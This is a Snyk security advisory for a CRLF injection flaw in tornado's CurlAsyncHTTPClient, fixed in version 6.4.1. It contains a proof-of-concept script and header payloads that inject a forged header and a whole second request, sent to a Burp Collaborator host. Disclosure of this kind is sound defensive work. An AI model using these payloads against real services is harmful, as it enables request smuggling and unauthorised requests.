Improper Neutralization of CRLF Sequences ('CRLF Injection') Affecting tornado package, versions [,6.4.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-TORNADO-7217828
  • published7 Jun 2024
  • disclosed6 Jun 2024
  • creditShaun Mirani, mschwager, Maciej Domanski

Introduced: 6 Jun 2024

CVE NOT AVAILABLE CWE-93  (opens in a new tab)

How to fix?

Upgrade tornado to version 6.4.1 or higher.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') through the CurlAsyncHTTPClient headers. An attacker can manipulate HTTP headers and construct unauthorized requests by injecting CRLF sequences into header values.

PoC

The issue can be reproduced using the following script:


import asyncio

from tornado import httpclient from tornado import curl_httpclient

async def main(): http_client = curl_httpclient.CurlAsyncHTTPClient()

request = httpclient.HTTPRequest(
    # Burp Collaborator payload
    "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
    method="POST",
    body="body",
    # Injected header using CRLF characters
    headers={"Foo": "Bar\r\nHeader: Injected"}
)

response = await http_client.fetch(request)
print(response.body)

http_client.close()

if name == "main": asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

References

CVSS Scores

version 3.1